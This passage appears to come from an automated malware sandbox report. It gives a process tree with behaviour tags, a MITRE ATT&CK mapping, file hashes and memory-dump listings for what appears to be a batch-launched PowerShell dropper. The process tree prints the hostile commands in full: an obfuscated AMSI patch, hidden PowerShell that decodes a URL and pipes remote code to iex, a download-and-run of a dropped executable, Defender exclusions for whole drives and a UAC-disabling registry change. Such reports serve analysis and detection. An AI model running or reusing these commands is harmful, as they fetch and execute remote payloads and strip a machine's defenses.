$wfUxeGZskgajgCycFdT).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$xdsskuvEkECyxsJFn=$MFLpWkTRnSCBdb.Invoke($Null,@([Object]$DbuCsqU,[Object](''+'A'+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+'ca'+'n'+'Bu'+'f'+''+[Char](102)+''+[Char](101)+'r')));$BtsycbTkpH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dWJRlPJdYyCOMyNOr,$fbJjdboDpAbFFttQCIFHZw).Invoke($xdsskuvEkECyxsJFn,[uint32]8,4,[ref]$BtsycbTkpH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xdsskuvEkECyxsJFn,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dWJRlPJdYyCOMyNOr,$fbJjdboDpAbFFttQCIFHZw).Invoke($xdsskuvEkECyxsJFn,[uint32]8,0x20,[ref]$BtsycbTkpH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('s'+[Char](118)+''+[Char](115)+''+'t'+''+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1628
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2136

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2452

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MasonClient.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -WindowStyle Hidden -Command "$codes = 104,116,116,112,115,58,47,47,102,105,108,101,115,46,99,97,116,98,111,120,46,109,111,101,47,102,109,115,101,121,107,46,105,53,83,97,114;irm $([Text.Encoding]::ASCII.GetString(@($codes))) | iex"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExeCutIoNpolicy BYPaSs aDd-mPPrefERenCe -ExclUsIoNpaTH $env:pROGramDatA, $eNv:TeMp, $Env:hOMedRIve; SeT-ITeMPRoPErTY -pAtH "hKlm:\soFTWarE\MIcrOSoft\WINdoWS\curReNtvERSIOn\PoLiciES\System" -naME "conSEntpRomPTBeHAViOradmin" -VAlUE 0 -TYPE DWOrd
      4⤵
      UAC bypass
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3008
  - - C:\ProgramData\WKOUQ.Exe
      "C:\ProgramData\WKOUQ.Exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3948
    - - C:\Users\Admin\AppData\Local\Temp\GzEudQab.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GzEudQab.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3776
  - - C:\ProgramData\SLyXD.EXe
      "C:\ProgramData\SLyXD.EXe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mountvol | find ":\"
    3⤵
    PID:1836
  - - C:\Windows\system32\mountvol.exe
      mountvol
      4⤵
      PID:1056
  - - C:\Windows\system32\find.exe
      find ":\"
      4⤵
      PID:3108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c add-mppreference -exclusionpath C:\
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c add-mppreference -exclusionpath F:\
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4948
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4948 -s 164
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c add-mppreference -exclusionpath D:\
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$url = @();$url += 'h';$url += 't';$url += 't';$url += 'p';$url += 's';$url += ':';$url += '/';$url += '/';$url += 'f';$url += 'i';$url += 'l';$url += 'e';$url += 's';$url += '.';$url += 'c';$url += 'a';$url += 't';$url += 'b';$url += 'o';$url += 'x';$url += '.';$url += 'm';$url += 'o';$url += 'e';$url += '/';$url += 'u';$url += '7';$url += '9';$url += 't';$url += 'u';$url += 'q';$url += '.';$url += 'C';$url += 'Y';$url += 's';$url += 'W';$url += '1';$url = $url -join '';$output = \"$env:PUBLIC\winglog32.exe\";$output2 = \"$env:PUBLIC\winglog64.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3316

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3672

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3800

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4476

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:388

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3424

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WER.1a213a2d-53a2-43b3-a1e2-826abddcddd0.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.1a213a2d-53a2-43b3-a1e2-826abddcddd0.tmp.txt
Size 13KB
SHA256 9aaeaa7743c58fd63cb69c415b3dde2c35cea9370253c3e940f1948fd98d2e16
MD5 b87b857a35e10092149b80dfa422f6e4
SHA1 040b463b5dba46ffa340c05ef213a19cc0d70f79
SHA512 9a12359fcf14ea840ed22cd98da08f8d5376c0693ef155a518366c7d82afad864dccf4f2192230b836dce780ec518f06f8764346a3757360c145a53e1e68ea81
SSDEEP 96:4iefLwploxYJY2WIHjYEZ8/5tCigFQXYwfeQiMWdzaK/6ssM2sKIN+3:Nef5OugPa6BsM2s9N+3
TLSH
T15952705616E80319F6F75E88A5F020A54763F872AE39CA4D01DE130E87E3E41D866FA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WER.86207b18-2e0d-4dbf-951d-d24270bdf93a.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.86207b18-2e0d-4dbf-951d-d24270bdf93a.tmp.csv
Size 35KB
SHA256 e2aac6c02b66f3b5a470b3f5b04c1f7f0db97716898337e11bd383668f894fdd
MD5 b885e7f87cd6d1c10619ceaa5e0ac3ef
SHA1 dc353606589bafc18952f7c765d002da66c03322
SHA512 901c3bbd4e1a9794fef0ab9f8a28d8af967ad70138af0dd826fed9ff591ed44e466282788c3aa45307ac136ecd65a76a5f0063c58b3cd10c5699c6dd8012c8e0
SSDEEP 768:AHDO2dOfEcGFzWHix2Hh2wCUFB+zGDQGTkJH8:AHDO2dOscGFzWHix2Aw/hQGTAH8
TLSH
T19AF2353ECEEC023FD6B6DA18C4E64A17F895A853361DED49A4C3678A4553583BCD022E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SLyXD.EXe

Path C:\ProgramData\SLyXD.EXe
Size 163KB
SHA256 e2481565a6c7a26690e99f63eea8e04615f7b3d92ca4ada11e331ce1053f962a
MD5 b20e29f2b88234cda8b95b43a4fec8aa
SHA1 13cca52a0dc3b9b352e14688f444ad9bcb9a9f4f
SHA512 019a4afbcd4c6236c226a05b0864df4f310fb91d41847dfcd84207d276a6219f66b725f5d3f637e7049d87fc81c88b8969a3061970be505bade70f767511313a
SSDEEP 3072:MQpsRTVjrJJCIFeesmomFEZkieYugOC7Arm2DilTw9/:MQpsRTVjrJBwesjmFEe5nhC7Arm2D0Ts
TLSH
T117F3028517EAA41EF8FF497CA0BF28456932BC640B55D73F06A900BF5B30984C666B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WKOUQ.Exe

Path C:\ProgramData\WKOUQ.Exe
Size 13KB
SHA256 b677c04687a6360ba75cc71d70331b46c00794cbffc3a65205207a8369df4015
MD5 02a326274f6fbc2c10002e6989f4571f
SHA1 5d5aee1b6829fa401036968a034440fc07582191
SHA512 30928b18c60eef0ba28017d1bdd8608a0ae51b006d4da6fd68b25aa7c639991ba720752cd6c346db14d32d5caa6a89355b70b31a6fd85187930740fd55524743
SSDEEP 96:6iDCdChK3ZGTYrs/1GWhMfaC71a78aBHe+hIjxfzHyFk3rvKgUmhd/5HDHfxXK:Zh4gX1GYMS+1FaBHVCX3rKgzd/x5K
TLSH
T127522B8A959900D3E89E02F41AA78E3E5AE9301023534CFFD27ED1594FB5723351E553
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8479f9012d4a4faf6b50ad49fb509a5932523f839eef7faa32da988101a36ce9
MD5 1ce56e8d290ec2165756607f30e121ab
SHA1 158af9d03004a1fbc376b1eb6957d9598da2d32e
SHA512 d17631ec34182628b2f16e663c13b330046ed57dfd40a4b778560d0dadfffc49cf910698b2dd567ee311637f1ecc72eb8897ea56ddfefec65710606d66240def
TLSH
T165219833B79CC134C8D9057A128CAD00B1B5C3C7C49EDE8B7A84C508A17F989DBAC1A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5f1e2d5f88ad674d3159d457a2cbf0a65b64970288276e66fd95ea015c351e42
MD5 620b0ef84179b8e46629e90b8bea211f
SHA1 177c97b9c18e8c16b86361ecf7150f11ccf45457
SHA512 17d78732825b18e8d30265fb1e07292d02be30d232d623fcd96a6b9454f89d89885c83c318dd95981e2d5bc555f1ff60564655932247a237291e6f95f9ec4aae
TLSH
T10D218633B7ACC134C8C911BA208CAD01B2B5C3C7449ECECB7B84C508A57F99ADB646A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fc0648c036a0ffe9045065004895782e13b67225458d683072eeaaf178e44d82
MD5 f35fecf82f74787da77b9a48ca21317e
SHA1 3be477501172be25875d6f28f40d53a4bdeb9bc8
SHA512 be2d88c0119939786d1eb93f6d85fc32258c05afc5e47942d56f4f5203044b2ef4413cce7bf30d4efd29ffcd9c83d411a12a868ddcbb2464453dff13cec76926
TLSH
T136218933B79CC134C8D9117A108DAD01B2B6C3C7449ECE8B7B84C518A57F999DB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

GzEudQab.exe

Path C:\Users\Admin\AppData\Local\Temp\GzEudQab.exe
Size 5KB
SHA256 5c3eaf6874c3bbda22c734b4ae2738cd3f2ac5f43f38c3065567fa872396c796
MD5 f6515df66debd922c1d9699648bc06bd
SHA1 b4f7d322b28db243e2c05f140705daf7e187d1ca
SHA512 93f37508e5c0139c850bdabda0e6b8f961e668f14a73ba317f0b7424272a4f2c0cbd4ed36c50ca2c75d3ab15b13e70876d0c6cc7e15cc6af2c517786b40f99be
SSDEEP 48:tPc9+UQnIjx7Ez8z7LK8yFMOK33vTvK+D3EFMhZvQuN5KJW5BXwkMghMZkHJ/gl0:Ve+hIjxfzHyFk3rvKgUmhd/5HDH
TLSH
T161C1D94B969A01D6DD9F43F85C5B8BAFA999358520514E2FC32CC0AC07B6F22B31DD92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_rigszxht.4rw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rigszxht.4rw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/420-115-0x0000017C75560000-0x0000017C7558A000-memory.dmp

Download

memory/460-123-0x0000024AFAC90000-0x0000024AFACBA000-memory.dmp

Download

memory/460-128-0x0000024AFAC90000-0x0000024AFACBA000-memory.dmp

Download

memory/460-129-0x00007FF906A10000-0x00007FF906A20000-memory.dmp

Download

memory/632-84-0x0000015D42230000-0x0000015D4225A000-memory.dmp

Download

memory/632-91-0x00007FF906A10000-0x00007FF906A20000-memory.dmp

Download

memory/632-85-0x0000015D42230000-0x0000015D4225A000-memory.dmp

Download

memory/632-90-0x0000015D42230000-0x0000015D4225A000-memory.dmp

Download

memory/632-83-0x0000015D42200000-0x0000015D42225000-memory.dmp

Download

memory/640-133-0x0000010DE2740000-0x0000010DE276A000-memory.dmp

Download

memory/700-95-0x0000025BB63D0000-0x0000025BB63FA000-memory.dmp

Download

memory/700-100-0x0000025BB63D0000-0x0000025BB63FA000-memory.dmp

Download

memory/700-101-0x00007FF906A10000-0x00007FF906A20000-memory.dmp

Download

memory/780-717-0x0000025D75450000-0x0000025D75503000-memory.dmp

Download

memory/892-110-0x000001D0F1ED0000-0x000001D0F1EFA000-memory.dmp

Download

memory/892-105-0x000001D0F1ED0000-0x000001D0F1EFA000-memory.dmp

Download

memory/892-111-0x00007FF906A10000-0x00007FF906A20000-memory.dmp

Download

memory/1096-141-0x00000278C44B0000-0x00000278C44DA000-memory.dmp

Download

memory/1108-149-0x0000023DEB4A0000-0x0000023DEB4CA000-memory.dmp

Download

memory/1152-157-0x0000023AEF300000-0x0000023AEF32A000-memory.dmp

Download

memory/1216-165-0x000001390B460000-0x000001390B48A000-memory.dmp

Download

memory/1240-173-0x000001D893090000-0x000001D8930BA000-memory.dmp

Download

memory/1284-181-0x000002AD70FC0000-0x000002AD70FEA000-memory.dmp

Download

memory/1304-189-0x0000020BD1C40000-0x0000020BD1C6A000-memory.dmp

Download

memory/1340-285-0x000001C592520000-0x000001C59254A000-memory.dmp

Download

memory/1428-197-0x0000020AF5C60000-0x0000020AF5C8A000-memory.dmp

Download

memory/1504-72-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1504-80-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1504-73-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1504-77-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1504-79-0x00007FF9461C0000-0x00007FF94627D000-memory.dmp

Download

memory/1504-74-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1504-75-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1504-78-0x00007FF946980000-0x00007FF946B89000-memory.dmp

Download

memory/1544-205-0x0000021CDFB20000-0x0000021CDFB4A000-memory.dmp

Download

memory/1568-293-0x000001BB0D440000-0x000001BB0D46A000-memory.dmp

Download

memory/1628-213-0x000001A3E37B0000-0x000001A3E37DA000-memory.dmp

Download

memory/1680-221-0x000001ADDFCB0000-0x000001ADDFCDA000-memory.dmp

Download

memory/1764-229-0x000001AF43BC0000-0x000001AF43BEA000-memory.dmp

Download

memory/1780-237-0x000001CC6BF60000-0x000001CC6BF8A000-memory.dmp

Download

memory/1852-245-0x000001CCEDEA0000-0x000001CCEDECA000-memory.dmp

Download

memory/1872-253-0x00000231373C0000-0x00000231373EA000-memory.dmp

Download

memory/1932-261-0x0000022629260000-0x000002262928A000-memory.dmp

Download

memory/2000-269-0x000001DA453D0000-0x000001DA453FA000-memory.dmp

Download

memory/2020-277-0x0000018E36F80000-0x0000018E36FAA000-memory.dmp

Download

memory/2120-301-0x000002BE0D600000-0x000002BE0D62A000-memory.dmp

Download

memory/2132-399-0x000001CD57FD0000-0x000001CD57FFA000-memory.dmp

Download

memory/2132-404-0x000001CD57FD0000-0x000001CD57FFA000-memory.dmp

Download

memory/2136-309-0x000001BC91A60000-0x000001BC91A8A000-memory.dmp

Download

memory/2256-323-0x00007FF906A10000-0x00007FF906A20000-memory.dmp

Download

memory/2256-322-0x0000000000A50000-0x0000000000A7A000-memory.dmp

Download

memory/2256-317-0x0000000000A50000-0x0000000000A7A000-memory.dmp

Download

memory/2316-327-0x0000026F5C640000-0x0000026F5C66A000-memory.dmp

Download

memory/2548-335-0x0000015995FA0000-0x0000015995FCA000-memory.dmp

Download

memory/2560-343-0x00000223E69B0000-0x00000223E69DA000-memory.dmp

Download

memory/2608-351-0x0000015789E90000-0x0000015789EBA000-memory.dmp

Download

memory/2620-359-0x000002A5DC3C0000-0x000002A5DC3EA000-memory.dmp

Download

memory/2640-367-0x0000025422EE0000-0x0000025422F0A000-memory.dmp

Download

memory/2656-375-0x0000024ABE060000-0x0000024ABE08A000-memory.dmp

Download

memory/2664-800-0x00000163448E0000-0x0000016344993000-memory.dmp

Download

memory/2668-383-0x000001F924F30000-0x000001F924F5A000-memory.dmp

Download

memory/2856-391-0x000001221FF00000-0x000001221FF2A000-memory.dmp

Download

memory/3008-42-0x000001EBA2310000-0x000001EBA232C000-memory.dmp

Download

memory/3008-44-0x000001EBA2350000-0x000001EBA236A000-memory.dmp

Download

memory/3008-14-0x000001EBA1D40000-0x000001EBA1D50000-memory.dmp

Download

memory/3008-13-0x000001EBA1D40000-0x000001EBA1D50000-memory.dmp

Download

memory/3008-39-0x000001EBA20B0000-0x000001EBA20CC000-memory.dmp

Download

memory/3008-40-0x000001EBA20D0000-0x000001EBA2183000-memory.dmp

Download

memory/3008-50-0x000001EB89970000-0x000001EB8997C000-memory.dmp

Download

memory/3008-51-0x000001EB89A10000-0x000001EB89A22000-memory.dmp

Download

memory/3008-47-0x000001EBA2340000-0x000001EBA234A000-memory.dmp

Download

memory/3008-46-0x000001EBA2330000-0x000001EBA2336000-memory.dmp

Download

memory/3008-45-0x000001EBA2300000-0x000001EBA2308000-memory.dmp

Download

memory/3008-41-0x000001EBA2190000-0x000001EBA219A000-memory.dmp

Download

memory/3008-43-0x000001EBA22F0000-0x000001EBA22FA000-memory.dmp

Download

memory/3292-52-0x00000191E9730000-0x00000191E9740000-memory.dmp

Download

memory/3292-53-0x00000191E9730000-0x00000191E9740000-memory.dmp

Download

memory/3292-54-0x00000191E9730000-0x00000191E9740000-memory.dmp

Download

memory/3292-10-0x00000191E9F20000-0x00000191EA0E2000-memory.dmp

Download

memory/3292-9-0x00000191E9730000-0x00000191E9740000-memory.dmp

Download

memory/3292-2-0x00000191E97B0000-0x00000191E97D2000-memory.dmp

Download

memory/3292-0-0x00000191E9730000-0x00000191E9740000-memory.dmp

Download

memory/3292-1-0x00000191E9730000-0x00000191E9740000-memory.dmp

Download

memory/4068-70-0x00007FF946980000-0x00007FF946B89000-memory.dmp

Download

memory/4068-71-0x00007FF9461C0000-0x00007FF94627D000-memory.dmp

Download

memory/4068-69-0x00000219CE810000-0x00000219CE83A000-memory.dmp

Download